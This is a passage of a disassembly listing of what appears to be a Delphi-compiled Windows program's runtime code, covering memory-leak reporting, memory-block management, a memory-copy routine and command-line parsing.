; CODE XREF: sub_400023F4+D7j mov al, 1 loc_400024D3: ; CODE XREF: sub_400023F4+DBj mov [ebp+var_11], al inc [ebp+var_10] dec [ebp+var_20] jnz short loc_400024B7 loc_400024DE: ; CODE XREF: sub_400023F4+BEj cmp [ebp+var_11], 0 jz short loc_4000251B mov eax, [ebp+var_10] cmp byte ptr [eax], 0 jnz short loc_4000251B mov ebx, 1 jmp short loc_4000251B ; --------------------------------------------------------------------------- loc_400024F3: ; CODE XREF: sub_400023F4+71j mov ebx, 2 loc_400024F8: ; CODE XREF: sub_400023F4+116j cmp edi, [esi+ebx*8] jz short loc_4000250C cmp dword ptr [esi+ebx*8], 0 jz short loc_4000250C inc ebx cmp ebx, 0FFh jle short loc_400024F8 loc_4000250C: ; CODE XREF: sub_400023F4+107j ; sub_400023F4+10Dj cmp ebx, 0FFh jg short loc_40002519 mov [esi+ebx*8], edi jmp short loc_4000251B ; --------------------------------------------------------------------------- loc_40002519: ; CODE XREF: sub_400023F4+11Ej xor ebx, ebx loc_4000251B: ; CODE XREF: sub_400023F4+80j ; sub_400023F4+95j ... inc dword ptr [esi+ebx*8+4] loc_4000251F: ; CODE XREF: sub_400023F4+43j ; sub_400023F4+53j mov eax, [ebp+var_4] mov eax, [eax] movzx eax, word ptr [eax+2] add [ebp+var_18], eax loc_4000252B: ; CODE XREF: sub_400023F4+35j mov eax, [ebp+var_18] cmp eax, [ebp+var_1C] jbe loc_4000242E pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_400023F4 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40002540 proc near ; CODE XREF: sub_40002BB4+24p var_27928 = byte ptr -27928h var_27927 = byte ptr -27927h var_27828 = byte ptr -27828h var_20029 = byte ptr -20029h var_1F828 = dword ptr -1F828h var_1B828 = dword ptr -1B828h var_1B824 = dword ptr -1B824h var_1B820 = dword ptr -1B820h var_1B81C = dword ptr -1B81Ch var_1B818 = dword ptr -1B818h var_1B814 = dword ptr -1B814h var_1B810 = dword ptr -1B810h var_1B80A = byte ptr -1B80Ah var_1B809 = byte ptr -1B809h var_1B808 = dword ptr -1B808h var_1B801 = byte ptr -1B801h var_1B800 = byte ptr -1B800h var_1B004 = byte ptr -1B004h var_4 = dword ptr -4 push ebp mov ebp, esp push eax mov eax, 27h loc_40002549: ; CODE XREF: sub_40002540+11j add esp, 0FFFFF004h push eax dec eax jnz short loc_40002549 mov eax, [ebp+var_4] add esp, 0FFFFF6DCh push ebx push esi push edi lea eax, [ebp+var_1B800] xor ecx, ecx mov edx, 1B800h call sub_40003580 lea eax, [ebp+var_1F828] xor ecx, ecx mov edx, 4000h call sub_40003580 xor eax, eax mov [ebp+var_1B808], eax mov [ebp+var_1B801], 1 mov edi, ds:dword_4001C70C jmp loc_4000261F ; --------------------------------------------------------------------------- loc_4000259D: ; CODE XREF: sub_40002540+E5j mov eax, edi call sub_40002058 mov ebx, eax test ebx, ebx jz short loc_4000261C loc_400025AA: ; CODE XREF: sub_40002540+DAj mov eax, ebx sub eax, 4 mov esi, [eax] test esi, 1 jnz short loc_4000260F test esi, 4 jz short loc_400025CC push ebp mov eax, ebx call sub_400023F4 pop ecx jmp short loc_4000260F ; --------------------------------------------------------------------------- loc_400025CC: ; CODE XREF: sub_40002540+7Fj cmp [ebp+var_1B808], 1000h jge short loc_4000260F and esi, 0FFFFFFF0h sub esi, 4 mov [ebp+var_1B814], esi mov eax, ebx call sub_4000239C test al, al jnz short loc_4000260F mov [ebp+var_1B801], 0 mov eax, [ebp+var_1B808] mov edx, [ebp+var_1B814] mov [ebp+eax*4+var_1F828], edx inc [ebp+var_1B808] loc_4000260F: ; CODE XREF: sub_40002540+77j ; sub_40002540+8Aj ... mov eax, ebx call sub_40002034 mov ebx, eax test ebx, ebx jnz short loc_400025AA loc_4000261C: ; CODE XREF: sub_40002540+68j mov edi, [edi+4] loc_4000261F: ; CODE XREF: sub_40002540+58j cmp edi, offset dword_4001C708 jnz loc_4000259D mov ebx, ds:dword_4001E7B0 jmp short loc_4000266A ; --------------------------------------------------------------------------- loc_40002633: ; CODE XREF: sub_40002540+13Cj mov eax, ebx add eax, 10h call sub_4000239C test al, al jnz short loc_40002667 mov [ebp+var_1B801], 0 mov esi, [ebx+0Ch] and esi, 0FFFFFFF0h sub esi, 4 sub esi, 10h mov eax, [ebp+var_1B808] mov [ebp+eax*4+var_1F828], esi inc [ebp+var_1B808] loc_40002667: ; CODE XREF: sub_40002540+FFj mov ebx, [ebx+4] loc_4000266A: ; CODE XREF: sub_40002540+F1j cmp ebx, offset dword_4001E7AC jz short loc_4000267E cmp [ebp+var_1B808], 1000h jl short loc_40002633 loc_4000267E: ; CODE XREF: sub_40002540+130j cmp [ebp+var_1B801], 0 jnz loc_400028E3 mov [ebp+var_1B809], 0 xor eax, eax mov [ebp+var_1B818], eax lea edx, [ebp+var_27828] mov eax, offset aAnUnexpectedMe ; "An unexpected memory leak has occurred."... mov ecx, 28h call sub_400021F0 mov ebx, eax mov [ebp+var_1B810], 37h mov [ebp+var_1B824], offset word_4001A046 lea eax, [ebp+var_1B004] mov [ebp+var_1B828], eax loc_400026D1: ; CODE XREF: sub_40002540+2F1j mov eax, [ebp+var_1B824] movzx eax, word ptr [eax] sub eax, 4 mov [ebp+var_1B81C], eax mov [ebp+var_1B80A], 0 mov edi, 0FFh mov eax, [ebp+var_1B828] mov esi, eax loc_400026F7: ; CODE XREF: sub_40002540+2C8j lea eax, [ebp+var_20029] cmp ebx, eax ja loc_4000280E cmp dword ptr [esi], 0 jbe loc_40002801 cmp [ebp+var_1B809], 0 jnz short loc_40002731 mov eax, offset aTheUnexpectedS ; "The unexpected small block leaks are:\r\n"... mov ecx, 27h mov edx, ebx call sub_400021F0 mov ebx, eax mov [ebp+var_1B809], 1 loc_40002731: ; CODE XREF: sub_40002540+1D5j cmp [ebp+var_1B80A], 0 jnz short loc_40002789 mov byte ptr [ebx], 0Dh inc ebx mov byte ptr [ebx], 0Ah inc ebx mov eax, [ebp+var_1B818] inc eax mov edx, ebx call sub_400020D4 mov ebx, eax mov byte ptr [ebx], 20h inc ebx mov byte ptr [ebx], 2Dh inc ebx mov byte ptr [ebx], 20h inc ebx mov edx, ebx mov eax, [ebp+var_1B81C] call sub_400020D4 mov ebx, eax mov eax, offset aBytes ; " bytes: " mov ecx, 8 mov edx, ebx call sub_400021F0 mov ebx, eax mov [ebp+var_1B80A], 1 jmp short loc_40002791 ; --------------------------------------------------------------------------- loc_40002789: ; CODE XREF: sub_40002540+1F8j mov byte ptr [ebx], 2Ch inc ebx mov byte ptr [ebx], 20h inc ebx loc_40002791: ; CODE XREF: sub_40002540+247j mov eax, edi sub eax, 1 jb short loc_4000279C jz short loc_400027B1 jmp short loc_400027C6 ; --------------------------------------------------------------------------- loc_4000279C: ; CODE XREF: sub_40002540+256j mov eax, offset aUnknown ; "Unknown" mov ecx, 7 mov edx, ebx call sub_400021F0 mov ebx, eax jmp short loc_400027EA ; --------------------------------------------------------------------------- loc_400027B1: ; CODE XREF: sub_40002540+258j mov eax, offset aString ; "String" mov ecx, 6 mov edx, ebx call sub_400021F0 mov ebx, eax jmp short loc_400027EA ; --------------------------------------------------------------------------- loc_400027C6: ; CODE XREF: sub_40002540+25Aj lea edx, [ebp+var_27928] mov eax, [esi-4] call sub_40003C6C movzx ecx, [ebp+var_27928] lea eax, [ebp+var_27927] mov edx, ebx call sub_400021F0 mov ebx, eax loc_400027EA: ; CODE XREF: sub_40002540+26Fj ; sub_40002540+284j mov byte ptr [ebx], 20h inc ebx mov byte ptr [ebx], 78h inc ebx mov byte ptr [ebx], 20h inc ebx mov eax, [esi] mov edx, ebx call sub_400020D4 mov ebx, eax loc_40002801: ; CODE XREF: sub_40002540+1C8j dec edi sub esi, 8 cmp edi, 0FFFFFFFFh jnz loc_400026F7 loc_4000280E: ; CODE XREF: sub_40002540+1BFj mov eax, [ebp+var_1B81C] mov [ebp+var_1B818], eax add [ebp+var_1B828], 800h add [ebp+var_1B824], 20h dec [ebp+var_1B810] jnz loc_400026D1 cmp [ebp+var_1B808], 0 jle short loc_400028BA cmp [ebp+var_1B809], 0 jz short loc_40002859 mov byte ptr [ebx], 0Dh inc ebx mov byte ptr [ebx], 0Ah inc ebx mov byte ptr [ebx], 0Dh inc ebx mov byte ptr [ebx], 0Ah inc ebx loc_40002859: ; CODE XREF: sub_40002540+307j mov eax, offset aTheSizesOfUnex ; "The sizes of unexpected leaked medium a"... mov ecx, 3Ch mov edx, ebx call sub_400021F0 mov ebx, eax mov edi, [ebp+var_1B808] dec edi test edi, edi jb short loc_400028BA inc edi mov [ebp+var_1B820], 0 lea esi, [ebp+var_1F828] loc_40002888: ; CODE XREF: sub_40002540+378j cmp [ebp+var_1B820], 0 jz short loc_40002899 mov byte ptr [ebx], 2Ch inc ebx mov byte ptr [ebx], 20h inc ebx loc_40002899: ; CODE XREF: sub_40002540+34Fj mov eax, [esi] mov edx, ebx call sub_400020D4 mov ebx, eax lea eax, [ebp+var_20029] cmp ebx, eax ja short loc_400028BA inc [ebp+var_1B820] add esi, 4 dec edi jnz short loc_40002888 loc_400028BA: ; CODE XREF: sub_40002540+2FEj ; sub_40002540+335j ... mov eax, offset asc_4000299C ; "\r\n" mov ecx, 3 mov edx, ebx call sub_400021F0 push 2010h push offset aUnexpectedMemo ; "Unexpected Memory Leak" lea eax, [ebp+var_27828] push eax push 0 call sub_400011B0 ; MessageBoxA loc_400028E3: ; CODE XREF: sub_40002540+145j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40002540 endp ; --------------------------------------------------------------------------- align 4 aAnUnexpectedMe db 'An unexpected memory leak has occurred. ',0 ; DATA XREF: sub_40002540+160o align 4 aTheUnexpectedS db 'The unexpected small block leaks are:',0Dh,0Ah,0 ; DATA XREF: sub_40002540+1D7o aBytes db ' bytes: ',0 ; DATA XREF: sub_40002540+22Do align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_40002540:loc_4000279Co aString db 'String',0 ; DATA XREF: sub_40002540:loc_400027B1o align 4 aTheSizesOfUnex db 'The sizes of unexpected leaked medium and large blocks are: ',0 ; DATA XREF: sub_40002540:loc_40002859o align 4 asc_4000299C db 0Dh,0Ah,0 ; DATA XREF: sub_40002540:loc_400028BAo align 10h aUnexpectedMemo db 'Unexpected Memory Leak',0 ; DATA XREF: sub_40002540+390o align 4 ; =============== S U B R O U T I N E ======================================= sub_400029B8 proc near ; CODE XREF: sub_400029FC+DDp push esi push edi xor eax, eax xor esi, esi mov edx, offset word_4001A046 loc_400029C3: ; CODE XREF: sub_400029B8+3Dj cmp ds:byte_4001C706, 0 jz short loc_400029D1 test byte ptr [edx], 0Fh jnz short loc_400029EE loc_400029D1: ; CODE XREF: sub_400029B8+12j movzx edi, word ptr [edx] shr edi, 3 mov ecx, esi add ecx, ecx add ecx, ecx cmp edi, eax jbe short loc_400029EC loc_400029E1: ; CODE XREF: sub_400029B8+32j mov ds:byte_4001C5C0[eax], cl inc eax cmp edi, eax ja short loc_400029E1 loc_400029EC: ; CODE XREF: sub_400029B8+27j mov eax, edi loc_400029EE: ; CODE XREF: sub_400029B8+17j inc esi add edx, 20h cmp esi, 37h jnz short loc_400029C3 pop edi pop esi retn sub_400029B8 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_400029FC proc near ; CODE XREF: .itext:4001900Dp push ebx push esi push edi mov esi, 37h mov ebx, offset off_4001A060 loc_40002A09: ; CODE XREF: sub_400029FC+D7j cmp dword ptr [ebx], 0 jnz short loc_40002A14 mov dword ptr [ebx], offset sub_40001484 loc_40002A14: ; CODE XREF: sub_400029FC+10j lea eax, [ebx-1Ch] mov [ebx-8], eax lea eax, [ebx-1Ch] mov [ebx-18h], eax xor eax, eax mov [ebx-10h], eax mov dword ptr [ebx-14h], 1 movzx eax, word ptr [ebx-1Ah] add eax, eax add eax, eax lea eax, [eax+eax*2] add eax, 0EFh and eax, 0FFFFFF00h add eax, 30h cmp eax, 0B30h jnb short loc_40002A50 mov eax, 0B30h loc_40002A50: ; CODE XREF: sub_400029FC+4Dj add eax, 4D0h shr eax, 0Dh cmp eax, 7 jbe short loc_40002A62 mov eax, 7 loc_40002A62: ; CODE XREF: sub_400029FC+5Fj mov ecx, eax mov dl, 0FFh shl dl, cl mov [ebx-1Bh], dl shl eax, 0Dh add ax, 0B30h mov [ebx-4], ax movzx edi, word ptr [ebx-1Ah] movzx eax, di mov ecx, eax shl ecx, 4 lea ecx, [ecx+ecx*2] add ecx, 0EFh and ecx, 0FFFFFF00h add ecx, 30h cmp ecx, 7330h jnb short loc_40002AA1 mov ecx, 7330h loc_40002AA1: ; CODE XREF: sub_400029FC+9Ej cmp ecx, 0FF30h jbe short loc_40002AAE mov ecx, 0FF30h loc_40002AAE: ; CODE XREF: sub_400029FC+ABj mov eax, ecx sub eax, 20h movzx edx, di mov ecx, edx xor edx, edx div ecx imul di add ax, 0EFh and ax, 0FF00h add ax, 30h mov [ebx-2], ax add ebx, 20h dec esi jnz loc_40002A09 call sub_400029B8 mov ds:dword_4001C708, offset dword_4001C708 mov ds:dword_4001C70C, offset dword_4001C708 mov esi, 400h mov edx, offset off_4001C7A8 loc_40002AFC: ; CODE XREF: sub_400029FC+10Bj mov eax, edx mov [eax], eax mov [eax+4], eax add edx, 8 dec esi jnz short loc_40002AFC mov ds:dword_4001E7AC, offset dword_4001E7AC mov ds:dword_4001E7B0, offset dword_4001E7AC pop edi pop esi pop ebx retn sub_400029FC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002B24 proc near ; CODE XREF: sub_40002BB4:loc_40002BFFp push ebx push esi push edi push ebp mov ebx, offset dword_4001C708 mov esi, offset dword_4001E7AC mov edi, [ebx+4] jmp short loc_40002B49 ; --------------------------------------------------------------------------- loc_40002B37: ; CODE XREF: sub_40002B24+27j mov ebp, [edi+4] push 8000h push 0 push edi call sub_400012CC ; VirtualFree mov edi, ebp loc_40002B49: ; CODE XREF: sub_40002B24+11j cmp edi, ebx jnz short loc_40002B37 mov edx, 37h mov eax, offset byte_4001A044 loc_40002B57: ; CODE XREF: sub_40002B24+4Dj mov ecx, eax mov [eax+14h], ecx mov ecx, eax mov [eax+4], ecx mov dword ptr [eax+8], 1 xor ecx, ecx mov [eax+0Ch], ecx add eax, 20h dec edx jnz short loc_40002B57 mov [ebx], ebx mov [ebx+4], ebx mov edx, 400h mov ecx, offset off_4001C7A8 loc_40002B82: ; CODE XREF: sub_40002B24+69j mov eax, ecx mov [eax], eax mov [eax+4], eax add ecx, 8 dec edx jnz short loc_40002B82 mov ebx, [esi+4] jmp short loc_40002BA6 ; --------------------------------------------------------------------------- loc_40002B94: ; CODE XREF: sub_40002B24+84j mov edi, [ebx+4] push 8000h push 0 push ebx call sub_400012CC ; VirtualFree mov ebx, edi loc_40002BA6: ; CODE XREF: sub_40002B24+6Ej cmp ebx, esi jnz short loc_40002B94 mov [esi], esi mov [esi+4], esi pop ebp pop edi pop esi pop ebx retn sub_40002B24 endp ; =============== S U B R O U T I N E ======================================= sub_40002BB4 proc near ; CODE XREF: sub_40006350+37p cmp ds:dword_4001E7C4, 0 jz short loc_40002BCF mov eax, ds:dword_4001E7C4 push eax call sub_400012DC ; DestroyWindow xor eax, eax mov ds:dword_4001E7C4, eax loc_40002BCF: ; CODE XREF: sub_40002BB4+7j cmp ds:byte_4001C5B4, 0 jz short loc_40002BDD call sub_40002540 loc_40002BDD: ; CODE XREF: sub_40002BB4+22j cmp ds:dword_4001E7BC, 0 jz short loc_40002BFF push 8000h push 0 mov eax, ds:dword_4001E7BC push eax call sub_400012CC ; VirtualFree xor eax, eax mov ds:dword_4001E7BC, eax loc_40002BFF: ; CODE XREF: sub_40002BB4+30j call sub_40002B24 retn sub_40002BB4 endp ; --------------------------------------------------------------------------- align 4 loc_40002C08: ; CODE XREF: sub_4000C5D0+45p test eax, eax jz short locret_40002C16 call off_4001A730 test eax, eax jz short loc_40002C18 locret_40002C16: ; CODE XREF: .text:40002C0Aj rep retn ; --------------------------------------------------------------------------- loc_40002C18: ; CODE XREF: .text:40002C14j mov al, 1 jmp sub_40002D50 ; --------------------------------------------------------------------------- db 0C3h ; Ã ; =============== S U B R O U T I N E ======================================= sub_40002C20 proc near ; CODE XREF: sub_40003C80+Ap ; sub_40004948+Cp ... test eax, eax jle short loc_40002C37 call off_4001A724 test eax, eax jz short loc_40002C30 rep retn ; --------------------------------------------------------------------------- loc_40002C30: ; CODE XREF: sub_40002C20+Cj mov al, 1 jmp sub_40002D50 ; --------------------------------------------------------------------------- loc_40002C37: ; CODE XREF: sub_40002C20+2j xor eax, eax rep retn sub_40002C20 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002C3C proc near ; CODE XREF: sub_40003C9C+Cp ; sub_40004884+1Cp ... test eax, eax jz short locret_40002C4A call off_4001A728 test eax, eax jnz short loc_40002C4C locret_40002C4A: ; CODE XREF: sub_40002C3C+2j rep retn ; --------------------------------------------------------------------------- loc_40002C4C: ; CODE XREF: sub_40002C3C+Cj mov al, 2 jmp sub_40002D50 sub_40002C3C endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40002C54 proc near ; CODE XREF: sub_40004F74+22p ; sub_4000599C+BAp ... mov ecx, [eax] test ecx, ecx jz short loc_40002C8C test edx, edx jz short loc_40002C76 push eax mov eax, ecx call off_4001A72C pop ecx or eax, eax jz short loc_40002C85 mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_40002C6F: ; CODE XREF: sub_40002C54+2Ej mov al, 2 jmp sub_40002D50 ; --------------------------------------------------------------------------- loc_40002C76: ; CODE XREF: sub_40002C54+8j mov [eax], edx mov eax, ecx call off_4001A728 or eax, eax jnz short loc_40002C6F retn ; --------------------------------------------------------------------------- loc_40002C85: ; CODE XREF: sub_40002C54+16j ; sub_40002C54+48j mov al, 1 jmp sub_40002D50 ; --------------------------------------------------------------------------- loc_40002C8C: ; CODE XREF: sub_40002C54+4j test edx, edx jz short locret_40002CA0 push eax mov eax, edx call off_4001A724 pop ecx or eax, eax jz short loc_40002C85 mov [ecx], eax locret_40002CA0: ; CODE XREF: sub_40002C54+3Aj retn sub_40002C54 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002CA4 proc near ; CODE XREF: sub_4000E068+6p ; sub_4000E068:loc_4000E093p ... call sub_40006428 cmp dword ptr [eax+0], 0 jz short loc_40002CC1 call sub_40006428 mov eax, [eax+0] mov eax, [eax+8] retn ; --------------------------------------------------------------------------- loc_40002CC1: ; CODE XREF: sub_40002CA4+Cj xor eax, eax retn sub_40002CA4 endp ; =============== S U B R O U T I N E ======================================= sub_40002CC4 proc near ; CODE XREF: sub_4000E068:loc_4000E0DBp push ebx push esi call sub_40006428 cmp dword ptr [eax+0], 0 jz short loc_40002CEE call sub_40006428 mov esi, [eax+0] mov ebx, [esi+8] call sub_40006428 xor eax, eax mov [esi+8], eax jmp short loc_40002CF0 ; --------------------------------------------------------------------------- loc_40002CEE: ; CODE XREF: sub_40002CC4+Ej xor ebx, ebx loc_40002CF0: ; CODE XREF: sub_40002CC4+28j mov eax, ebx pop esi pop ebx retn sub_40002CC4 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40002CF8 proc near ; CODE XREF: sub_40002D04+41p ; .text:40004425p mov dword_4001A004, edx call sub_4000486C sub_40002CF8 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40002D04 proc near ; CODE XREF: sub_40002D50+6j push ebx push esi mov esi, edx mov ebx, eax and bl, 7Fh cmp ds:off_4001C008, 0 jz short loc_40002D20 mov edx, esi mov eax, ebx call ds:off_4001C008 loc_40002D20: ; CODE XREF: sub_40002D04+10j test bl, bl jnz short loc_40002D31 call sub_40006428 mov ebx, [eax+4] jmp short loc_40002D40 ; --------------------------------------------------------------------------- loc_40002D31: ; CODE XREF: sub_40002D04+1Ej cmp bl, 18h ja short loc_40002D40 movzx eax, bl movzx ebx, byte_4001A73C[eax] loc_40002D40: ; CODE XREF: sub_40002D04+2Bj ; sub_40002D04+30j movzx eax, bl mov edx, esi call sub_40002CF8 sub_40002D04 endp ; --------------------------------------------------------------------------- pop esi pop ebx retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40002D50 proc near ; CODE XREF: .text:40002C1Aj ; sub_40002C20+12j ... and eax, 7Fh mov edx, [esp+0] jmp sub_40002D04 sub_40002D50 endp ; --------------------------------------------------------------------------- retn ; =============== S U B R O U T I N E ======================================= sub_40002D5C proc near ; CODE XREF: sub_4000AF68+28p ; .itext:400199F0p ... push eax push edx push ecx call sub_40006428 cmp dword ptr [eax+4], 0 pop ecx pop edx pop eax jnz short loc_40002D71 retn ; --------------------------------------------------------------------------- loc_40002D71: ; CODE XREF: sub_40002D5C+12j xor eax, eax jmp sub_40002D50 sub_40002D5C endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002D7C proc near ; CODE XREF: sub_40002D8C+5p ; sub_40003390+3Cp ... push ebx mov ebx, eax call sub_40006428 mov [eax+4], ebx pop ebx retn sub_40002D7C endp ; =============== S U B R O U T I N E ======================================= sub_40002D8C proc near ; CODE XREF: sub_4000361C+17p call sub_400011D8 ; RtlGetLastWin32Error call sub_40002D7C retn sub_40002D8C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002D98 proc near ; CODE XREF: sub_4001293C+ABp arg_0 = dword ptr 4 push esi push edi mov esi, eax mov edi, [esp+8+arg_0] xor eax, eax or al, [esi] jz short loc_40002DD1 test edx, edx jle short loc_40002DC2 cmp edx, eax jg short loc_40002DC9 loc_40002DAE: ; CODE XREF: sub_40002D98+2Fj sub eax, edx inc eax test ecx, ecx jl short loc_40002DC9 cmp ecx, eax jg short loc_40002DCD loc_40002DB9: ; CODE XREF: sub_40002D98+33j ; sub_40002D98+37j add esi, edx mov [edi], cl inc edi rep movsb jmp short loc_40002DD3 ; --------------------------------------------------------------------------- loc_40002DC2: ; CODE XREF: sub_40002D98+10j mov edx, 1 jmp short loc_40002DAE ; --------------------------------------------------------------------------- loc_40002DC9: ; CODE XREF: sub_40002D98+14j ; sub_40002D98+1Bj xor ecx, ecx jmp short loc_40002DB9 ; --------------------------------------------------------------------------- loc_40002DCD: ; CODE XREF: sub_40002D98+1Fj mov ecx, eax jmp short loc_40002DB9 ; --------------------------------------------------------------------------- loc_40002DD1: ; CODE XREF: sub_40002D98+Cj mov [edi], al loc_40002DD3: ; CODE XREF: sub_40002D98+28j pop edi pop esi retn 4 sub_40002D98 endp ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002DDC proc near ; CODE XREF: sub_4000B230+7p push ebx call sub_40006428 mov ebx, [eax+4] call sub_40006428 xor edx, edx mov [eax+4], edx mov eax, ebx pop ebx retn sub_40002DDC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002DFC proc near ; CODE XREF: sub_400021F0+Ap ; sub_40003328+4Fp ... cmp eax, edx jz short locret_40002E31 cmp ecx, 20h ja short loc_40002E81 sub ecx, 8 jg short loc_40002E11 jmp ds:off_40002E54[ecx*4] ; --------------------------------------------------------------------------- loc_40002E11: ; CODE XREF: sub_40002DFC+Cj fild qword ptr [ecx+eax] fild qword ptr [eax] cmp ecx, 8 jle short loc_40002E2C fild qword ptr [eax+8] cmp ecx, 10h jle short loc_40002E29 fild qword ptr [eax+10h] fistp qword ptr [edx+10h] loc_40002E29: ; CODE XREF: sub_40002DFC+25j fistp qword ptr [edx+8] loc_40002E2C: ; CODE XREF: sub_40002DFC+1Dj fistp qword ptr [edx] fistp qword ptr [ecx+edx] locret_40002E31: ; CODE XREF: sub_40002DFC+2j ; DATA XREF: sub_40002DFC+38o retn ; --------------------------------------------------------------------------- align 4 dd offset locret_40002E31 dd offset loc_40002EB2 dd offset loc_40002EB8 dd offset loc_40002EBF dd offset loc_40002ECC dd offset loc_40002ED1 dd offset loc_40002EDC dd offset loc_40002EE9 off_40002E54 dd offset loc_40002EF4 ; DATA XREF: sub_40002DFC+Er ; --------------------------------------------------------------------------- loc_40002E58: ; CODE XREF: sub_40002DFC+89j ; sub_40002DFC+92j push edx fild qword ptr [eax] lea eax, [ecx+eax-8] lea ecx, [edx+ecx-8] fild qword ptr [eax] push ecx neg ecx and edx, 0FFFFFFF8h lea ecx, [edx+ecx+8] pop edx loc_40002E70: ; CODE XREF: sub_40002DFC+7Dj fild qword ptr [ecx+eax] fistp qword ptr [ecx+edx] add ecx, 8 jl short loc_40002E70 fistp qword ptr [edx] pop edx fistp qword ptr [edx] retn ; --------------------------------------------------------------------------- loc_40002E81: ; CODE XREF: sub_40002DFC+7j jle short locret_40002EB1 cmp eax, edx ja short loc_40002E58 sub edx, ecx cmp eax, edx lea edx, [ecx+edx] jbe short loc_40002E58 sub ecx, 8 push ecx fild qword ptr [ecx+eax] fild qword ptr [eax] add ecx, edx and ecx, 0FFFFFFF8h sub ecx, edx loc_40002EA0: ; CODE XREF: sub_40002DFC+ADj fild qword ptr [ecx+eax] fistp qword ptr [ecx+edx] sub ecx, 8 jg short loc_40002EA0 pop ecx fistp qword ptr [edx] fistp qword ptr [ecx+edx] locret_40002EB1: ; CODE XREF: sub_40002DFC:loc_40002E81j retn ; --------------------------------------------------------------------------- loc_40002EB2: ; DATA XREF: sub_40002DFC+3Co movzx ecx, byte ptr [eax] mov [edx], cl retn ; --------------------------------------------------------------------------- loc_40002EB8: ; DATA XREF: sub_40002DFC+40o movzx ecx, word ptr [eax] mov [edx], cx retn ; --------------------------------------------------------------------------- loc_40002EBF: ; DATA XREF: sub_40002DFC+44o mov cx, [eax] mov al, [eax+2] mov [edx], cx mov [edx+2], al retn ; --------------------------------------------------------------------------- loc_40002ECC: ; DATA XREF: sub_40002DFC+48o mov ecx, [eax] mov [edx], ecx retn ; --------------------------------------------------------------------------- loc_40002ED1: ; DATA XREF: sub_40002DFC+4Co mov ecx, [eax] mov al, [eax+4] mov [edx], ecx mov [edx+4], al retn ; --------------------------------------------------------------------------- loc_40002EDC: ; DATA XREF: sub_40002DFC+50o mov ecx, [eax] mov ax, [eax+4] mov [edx], ecx mov [edx+4], ax retn ; --------------------------------------------------------------------------- loc_40002EE9: ; DATA XREF: sub_40002DFC+54o mov ecx, [eax] mov eax, [eax+3] mov [edx], ecx mov [edx+3], eax retn ; --------------------------------------------------------------------------- loc_40002EF4: ; CODE XREF: sub_40002DFC+Ej ; DATA XREF: sub_40002DFC:off_40002E54o fild qword ptr [eax] fistp qword ptr [edx] retn sub_40002DFC endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_40002EFC proc near ; CODE XREF: sub_40002FF8+41p var_14 = dword ptr -14h push ebx push esi push edi push ebp push ecx mov esi, edx mov ebx, eax jmp short loc_40002F0F ; --------------------------------------------------------------------------- loc_40002F07: ; CODE XREF: sub_40002EFC+1Bj push ebx call sub_400011A0 ; CharNextA mov ebx, eax loc_40002F0F: ; CODE XREF: sub_40002EFC+9j ; sub_40002EFC+2Bj cmp byte ptr [ebx], 0 jz short loc_40002F19 cmp byte ptr [ebx], 20h jbe short loc_40002F07 loc_40002F19: ; CODE XREF: sub_40002EFC+16j cmp byte ptr [ebx], 22h jnz short loc_40002F29 cmp byte ptr [ebx+1], 22h jnz short loc_40002F29 add ebx, 2 jmp short loc_40002F0F ; --------------------------------------------------------------------------- loc_40002F29: ; CODE XREF: sub_40002EFC+20j ; sub_40002EFC+26j xor ebp, ebp mov [esp+14h+var_14], ebx jmp short loc_40002F78 ; --------------------------------------------------------------------------- loc_40002F30: ; CODE XREF: sub_40002EFC+7Fj cmp byte ptr [ebx], 22h jnz short loc_40002F68 push ebx call sub_400011A0 ; CharNextA mov ebx, eax jmp short loc_40002F4F ; --------------------------------------------------------------------------- loc_40002F3F: ; CODE XREF: sub_40002EFC+5Bj push ebx call sub_400011A0 ; CharNextA mov edi, eax mov eax, edi sub eax, ebx add ebp, eax mov ebx, edi loc_40002F4F: ; CODE XREF: sub_40002EFC+41j cmp byte ptr [ebx], 0 jz short loc_40002F59 cmp byte ptr [ebx], 22h jnz short loc_40002F3F loc_40002F59: ; CODE XREF: sub_40002EFC+56j cmp byte ptr [ebx], 0 jz short loc_40002F78 push ebx call sub_400011A0 ; CharNextA mov ebx, eax jmp short loc_40002F78 ; --------------------------------------------------------------------------- loc_40002F68: ; CODE XREF: sub_40002EFC+37j push ebx call sub_400011A0 ; CharNextA mov edi, eax mov eax, edi sub eax, ebx add ebp, eax mov ebx, edi loc_40002F78: ; CODE XREF: sub_40002EFC+32j ; sub_40002EFC+60j ... cmp byte ptr [ebx], 20h ja short loc_40002F30 mov eax, esi mov edx, ebp call sub_40004F74 mov ebx, [esp+14h+var_14] mov ebp, [esi] xor esi, esi jmp short loc_40002FE9 ; --------------------------------------------------------------------------- loc_40002F8F: ; CODE XREF: sub_40002EFC+F0j cmp byte ptr [ebx], 22h jnz short loc_40002FD0 push ebx call sub_400011A0 ; CharNextA mov ebx, eax jmp short loc_40002FB7 ; --------------------------------------------------------------------------- loc_40002F9E: ; CODE XREF: sub_40002EFC+C3j push ebx call sub_400011A0 ; CharNextA mov edi, eax cmp edi, ebx jbe short loc_40002FB7 